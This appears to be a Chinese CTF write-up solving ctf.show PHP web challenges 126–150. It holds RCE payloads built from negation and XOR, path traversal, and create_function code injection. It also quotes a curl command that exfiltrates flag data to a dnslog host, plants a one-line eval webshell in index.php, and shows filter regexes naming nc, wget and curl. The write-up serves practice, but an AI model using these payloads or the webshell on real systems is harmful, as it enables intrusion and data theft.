# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
#
#
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}

分析:

  • 又增加了第 g i f c o d 的过滤
  • GET:?a=1+fl0g=flag_give_me
    POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

  • 搞不懂,我是傻逼

web127

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-10 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-10 21:52:49

*/


error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}

if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}


if($ctf_show==='ilove36d'){
echo $flag;
}

分析:

  • 首先阅读程序上下文,$ctf_show = md5($flag) 将变量 flag md5转换过后赋值给了 变量 ctf_show, 紧接着下一句: $url = $_SERVER[‘QUERY_STRING’]; $_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。这个数组中的项目由 Web 服务器创建,QUERY_STRING:

  • 本地试验一下:

  • 从返回的结果来看,$_SERVER的确包含了服务器的一些信息,其中 QUERY_STING 通过GET方式传入了一些参数并且也将其返回了出来如上图红框处标记,其实这就是通过GET方式传入了一个变量。
  • 继续往下看程序代码:函数waf 对 变量 url 近些了过滤;继续往下的 if 判断中else: extract($_GET) 进行了变量覆盖,这里才是真正的变量覆盖,那就要绕过 waf 的阻拦让其为 false 然后 if 判断执行else的变量覆盖。
  • 再往下执行代码:发现 变量 ctf_show 全等于 ilove36d, 嘿嘿嘿,谁不喜欢36D啊
  • 综上所述 利用变量覆盖达到目的。
  • ?ctf_show=ilove36d, 此时不行,对下划线进行了过滤,因为PHP中变量的组成为: 字母,数字,下划线,数字不能开头,如果变量名有 空格 会将其自动转换为 下划线,那么可以得到:
  • ?ctf show=ilove36d

web128

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-10 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-12 19:49:05

*/


error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}



function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}

分析:

  • 这道题正如题目描述一样又是个不知道的骚操作 🐂🍺 666
  • 阅读程序上下文发现头一次见 call_user_func() 把第一个参数作为回调函数调用。其余参数是回调函数的参数,所以 $f1 为一个函数,$f2 为这个函数的参数。
  • 再往下看 定义了一个 check() 函数,对 数字字母进行了过滤。
  • 这道题的骚操作是利用了 gettext 查找 php 手册

  • 如图所示 : 您可以使用下划线字符“_”作为此函数的别名。🐂🍺 666
  • get_defined_vars()返回由所有已定义的变量所组成的数组

  • ?f1=_&f2=get_defined_vars

web129

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-13 03:18:40

*/


error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}

分析:

  • 阅读程序上下文,使用了 stripos() 函数:查找字符串首次出现的位置不区分大小写,从0开始计数。与 strpos() 不同,stripos() 不区分大小写。

  • readfile() 输出文件,读入的文件名

  • 可以得到:

    1
    ?f=/ctfshow../../../../var/www/html/flag.php 

web130

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-13 05:19:40

*/


error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];

if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}

echo $flag;

}

分析:

源码:

首先阅读程序上下文。发现正则匹配 '/.+?ctfshow/is' , i不区分大小写, s 匹配换行符,+ 匹配前面的子表达式一次或多次,?匹配前面的子表达式零次或一次,. 默认情况下的圆点 . 是 匹配除换行符 \n 之外的任何字符,

需要注意中间的 ? (问号) 在 字符串ctfshow前面必须有一个或0个字符, 只写 ctfshow 即可绕过。

继续往下看,stripos() 和上一题一样匹配字符串 ctfshow 首次出现的位置,此处为三个等号 === 全等比较数值和类型,如果匹配出字符出首次出现的位置为 0 ,0 (int), 与 FALSE(bool) 自然不想等就等绕过

1
2
post:
f=ctfshow

strpos && stripos 可以数组绕过。

1
2
post:
f[]=1

本题有个提示:very very very(省略25万个very)ctfshow,据说正则最多匹配25w次,之后就不行了。真™

那么可以写个脚本:

1
2
3
4
5
6
7
8
import requests
url = 'http://e3081345-a5cb-4efc-a89c-3e4f4e66a000.challenge.ctf.show:8080/'

data = {
'f':'very'*250000+'ctfshow'
}
response = requests.post(url=url,data=data)
print(response.text)

post中的内容 very 生成了25000次,超过了最大值,返回 false ,同时其中包含 字符串 ctfshow 就绕过了第二个 stripos分支,最终得到 falg

web131

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-13 05:19:40

*/


error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = (String)$_POST['f'];

if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}

echo $flag;

}

分析:

  • 可采用上一题脚本:
1
2
3
4
5
6
7
import requests
url ='http://f16472c2-b4b2-4983-8528-8630be8b0610.challenge.ctf.show:8080/'
data = {
'f':'very'*250000+'36Dctfshow'
}
response = requests.post(url=url,data=data)
print(response.text)

web132

首先打开发现为一个 blog 页面 没有什么可用信息 所以尝试目录爆破:

从爆破结果如上图所示,其中 /admin/可以打开,原来把题目藏在了这个页面:

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 06:22:13
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-13 20:05:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];

if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){

if($code == 'admin'){
echo $flag;
}

}
}

分析:

  • 首先阅读程序上下文,发现有三个 $_GET 的参数: username, password, code
  • 然后继续往下可以看到 mt_rand(1,0x36D) 这个函数的作用 是生成随机数从 1-877 ,详情看手册

1
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin")
  • 从这条 if 语句 可以知道 两个运算符 && 和 || 根据优先级 添加括号使得易于理解:
1
if( ($code === mt_rand(1,0x36D) && $password === $flag) || ($username ==="admin"))
  • 这个 if 语句 存在两种情况,1:|| 的前部分(左边) 为 TRUE 2: || 的后部分为(右边) True, 从这里可以知道了,让前面的表达式为FALSE ,后面的表示为 TRUE 就可以绕过 随机数。是的程序继续向下执行:
  • 下一个 if 的条件为 $code == ‘admin’ 、
  • 综上所述可以得到:
1
?username=admin&password=&code=admin

web133

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-13 16:43:44

*/

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}

分析:

  • 这道题对我来说又是一个知识盲区,只有看看大佬方法了:
1
?F=`$F`; curl `cat flag.php | grep "flag"`.9b8kh6.dnslog.cn

web134

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-14 23:01:06

*/

highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}

分析:

  • 首先阅读程序上下文,定义了两个变量,第一个if()判断对GET 和 POST 的参数进行匹配,如果有则狗带了。

  • parse_str() 又出现了: 将字符串解析成多个变量,没有返回值;

  • $_SERVER[‘QUERY_STRING’] 又出现了: 查询字符串,在本题中将,将得到字符串然后作为 parse_str()的参数执行。那么字符串的内容就会变为多个变量。举个例子: _POST[a]=1&_POST[b]=2; 将 _POST[a] 和 _POST[b] 为了变量, $ _POST[a] 和 $ _POSTarr[b];

  • extract()又出现了:从数组中将变量导入到当前的符号表,检查每个键名看是否可以作为一个合法的变量名,同时也检查和符号表中已有的变量名的冲突。 举个例子:_ POST[a]=1,_POST[b]=2; 将键名 a 和 b 作为了变量,所以 $a=1,$b=2;

  • 最后一个 if() 判断,使 $key1 和 $key2 等于 36d 才能得到最后的 flag。那么在上一步 extract() 变量覆盖中,我们需要将 key1 和 key2 作为某个数组的 键名, 再往上一步 parse_str() 字符串解析为变量,传入的字符串得包含 key1 和 key2。如果直接将 key1 和 key2作为变量名,就不能被extract()覆盖作为数组的 键名。因此传入的字符串必须是个数组且键名得是 key1 和 key2。

  • 本地验证:

  • 最终结果: ?_POST[key1]=36d&_POST[key2]=36d

web135

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-16 18:48:03

*/

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}else{
die("师傅们居然破解了前面的,那就来一个加强版吧");
}
}

分析:

  • 这题和 web 133类似,多了过滤的内容,看了看网上大佬的文章:
1
?F=`$F `; cp flag.php 1.txt;
  • 执行后访问 1.txt

web136

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>

分析:

  • 还是和上一题类似,参考羽师傅的文章,用到 tee 命令:用于读取标准输入的数据,并将其内容输出成文件。tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件。详情百度
  • ?c=ls|tee 1 将 ls 出来的内容 通过 tee 存入 文件 1 中,然后访问 url/1 将下载此文件打开发现:当前目录没有flag.php文件

  • ?c=ls / |tee 1 将 ls / 根目录中的内容通过 tee 写入到 1 中,再次打开: 发现根目录下有 : f149_15_h3r3

  • ?c=cat /f149_15_h3r3 |tee flag 打开得到 flag

web137

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-16 22:27:49

*/

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
call_user_func($_POST['ctfshow']);

分析:

  • call_user_func() 在 web128中使用过一次。把第一个参数作为回调函数调用
  • 代码中 定义了 一个 ctfshow 类,类中有 函数 getFlag()
  • 我们需要通过 call_user_func() 来调用这个类中的函数。
  • 在 类 中 可以使用 :: 两个冒号来调用类中的函数和属性。
1
2
post:
ctfshow=ctfshow::getFlag

web138

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-16 22:52:13

*/

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}

if(strripos($_POST['ctfshow'], ":")>-1){
die("private function");
}

call_user_func($_POST['ctfshow']);


分析:

  • 此题相较于上一题的基础上对 :(冒号) 进行了匹配,不管怎么输入 :(冒号), strripos() 匹配的结果都是 正数。因此得换一个方法来调用类中的内容。
  • call_user_func() 的手册中有对 如何调取 类 进行了讲解如下图:

  • 发现可以使用数组,第一个参数为 类名,第二个参数为 类中的函数名(方法名)
1
2
// post:
ctfshow[0]=ctfshow&ctfshow[1]=getFlag

web139

先放着

web140

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-17 12:39:25

*/

error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
$f1 = (String)$_POST['f1'];
$f2 = (String)$_POST['f2'];
if(preg_match('/^[a-z0-9]+$/', $f1)){
if(preg_match('/^[a-z0-9]+$/', $f2)){
$code = eval("return $f1($f2());");
if(intval($code) == 'ctfshow'){
echo file_get_contents("flag.php");
}
}
}
}


分析:

  • 首先阅读程序上下文 POST 两个参数必须数字或字母组成,且 $f1($f2()); 注意括号 变量后面有括号表示函数了。随便输入几个函数
  • intval() 如果参数为 字母组成,它的返回值为 0 。
1
2
3
4
// post:
f1=md5&f2=md5
f1=usleep&f2=usleep
……

web141

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-17 19:28:09

*/

#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];

if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

分析:

  • 首先阅读程序上下文,发现了 正则匹配: /^\W+$/ \W 匹配非字母,数字,下划线等价于 ‘[A-Za-z0-9_]’ ,注意 “非” 这个字,就是不匹配 字母,数字,下划线。
  • is_numeric() 检测变量是否为数字或数字字符串 。那么 v1 , v2 得是数字形式。
  • 需要构造绕过 字母,数字,下划线的 字符。参考了 羽师傅的文章。
  • eval(“return $v1$v3$v2”), return 返回并结束程序,而 v1, v2 为数字,那么 v3 就是命令执行了。所以要让 v3 = 无字母数字下划线的 RCE。需要注意 v1, v2,v3的位置。来本地测试一下。

  • 注意图中 ,分别为 v1,v2,v3 传入参数: 1,2,3 那么 $v1$v3$v2=123 , 没有结果,再看一个示例:

  • 如图所示,将 v3 更改为了 - (减号) 可得到结果。类推: *, / ,% ,^ 等都行,但是 + 不行。 此时可以证明 PHP 中 数字可以和命令进行运算。再看一个示例:

  • 如图所示,将 phpinfo() 与 数字进行了运算 : 1-phpinfo()*2 , 仍然能得到 php 的版信息。再看一个示例:

  • 如图所示: 在上一步上依此类推可以构造出 system(“tac f*”); 而在本题当中 需要 将 system(“tac f*”) 此命令变成 无字母数字的 RCE: (%8C%86%8C%8B%9A%92)(%8B%9E%9C%DF%99%D5)
1
?v1=1&v2=2&v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)*

  • 得到 了 flag , 这题的 重点 在于 无字母数字字符的构造。

web142

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-17 19:36:02

*/

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
$v1 = (String)$_GET['v1'];
if(is_numeric($v1)){
$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
sleep($d);
echo file_get_contents("flag.php");
}
}

分析:

  • GET 一个参数 v1, 并 强制类型转换为 String类型。
  • is_numeric() 函数将检测变量是否为数字或数字字符串。那么此处的 v1 为 String 符合此函数。
  • $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d); 表示 将 v1与0x3d相乘取整赋值给 $d.
  • sleep($d);将 休眠得到的秒数。因此将 v1=0 ,0乘任何书得0将会休眠0秒。即可输出flag。

web143

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-18 12:48:14

*/

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

分析:

  • 观察此题是在web 141得基础上对输入得内容进行了更多得过滤。过滤了 ~(取反) -(减号), 那么 取反将不能利用并且减号不能利用。但仍然可以利用 异或,* ,/,需要更改生成文件得正则为题目中的一样。
1
2
?v1=1&v2=2&v3=/("%0f%01%0c%0c%0b%08%0d%0a"^"%7f%60%7f%7f%7f%60%7f%7f")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")/
//v3=system('tac f*')

web144

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-18 16:21:15

*/

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];

if(is_numeric($v1) && check($v3)){
if(preg_match('/^\W+$/', $v2)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

function check($str){
return strlen($str)===1?true:false;
}

分析:

  • 此题在web141的基础上 定义了一个 check函数,此函数的功能是:判断 str 的长度是否为1并且类型是否一样。三目运算符可改写为:
1
2
3
4
if(strlen($str) === 1)
return true;
else
return false;
  • 那么这个参数 长度必须为 1 位。其余没什么变化。
1
2
?v1=10&v3=1&v2=/(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5);
// v2 = system('tac f*')

web145

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-18 17:41:33

*/


highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

分析:

  • 此题相较于上一题过滤了很多。其中对 -(减号), +(加号),*(乘号),/(除号),&(取址),%(取模)这些常规的算数运算符号进行了过滤。但是没有过滤 | (或运算)。
1
2
?v1=1&v2=2&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)|
// v3 = system('tac f*')

  • 原来还可以 三木运算:1为True 那么自然会执行构造的语句。
1
2
?v1=1&v2=2&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5):
return 1?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5):2 // 1为True 那么自然会执行构造的语句。

  • 既然三木可以,那么 原来的那几道应该也可以。经测试可以。

web146

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-18 17:41:33

*/


highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

分析:

  • 相较于上一题,没有过滤 | (或),过滤了 : (冒号),那么三目运算就失效了。
1
2
?v1=1&v2=2&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)|
v3 = system('tac f*')

web147

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-19 02:04:38

*/



highlight_file(__FILE__);

if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}

}

分析:

;

  • create_function()的用法
1
2
3
4
5
6
$fun = create_function('$a','echo "123;"');
// 相当于
fun($a)
{
echo "123";
}
  • 第一个参数为变量,第二个参数为函数体中的内容。
  • 可以对 函数体的内容作手脚例如: ;}phpinfo();// 或者 ;}phpinfo();/*

;

  • 如上图所示,成功执行 phpinfo(); 因为 ;} 对函数体进行了闭合,phpinof();就成为了一条后续语句。而 /* 或者// 则为 注释掉原有的 右大括号 }
1
2
3
4
5
fun($a)
{
echo "123";
;}phpinfo();/*
}
  • 在本题当中 有两个可控参数 ctf, show 我们需要对其构造成为 create_function() 的形式从而达到目的。
1
2
post: create_function
get: }passthru("tac f*");/*
  • 此时并不能顺利拿到 flag 因为此题还有一个考点 php namespace 命名空间。默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路 径; 而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写 法
1
2
post: \create_function
get: }passthru("tac f*");/*

web148

源码:

什么是变量?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-19 03:52:11

*/



include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
die("error");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}

function get_ctfshow_fl0g(){
echo file_get_contents("flag.php");
}

分析:

  • 看了提示和别人的 wp
  • 正则没有对 ^ 异或进行过滤。那么可以使用 异或 生成语句。就和web141那几道类似。
1
?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%02"^"%7d%60%60%21%60%28");

  • 题目提示中说 用中文。这属实没懂。

web149

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-19 04:34:40

*/


error_reporting(0);
highlight_file(__FILE__);

$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}

file_put_contents($_GET['ctf'], $_POST['show']);

$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}

分析:

  • 根据题目提示:你写的快还是我删的快?
  • unlink() 删除文件的函数。$file !== index.php 可知要想不执行unlink $file 必须得是 index.php
  • 结合 : file_put_contents($_GET[‘ctf’], $_POST[‘show’]); 得知,file_put_contents() 将一个字符串写入文件。那么可得 ctf=index.php show=
1
2
get: ?ctf=index.php
post: show=<?php @eval($_POST[mm]);?>

  • 这时就将 index.php 重写为了 一句话木马。再次访问 index.php 没有任何显示。

  • 打开菜刀连接 index.php 密码: mm 连接。

web150

没做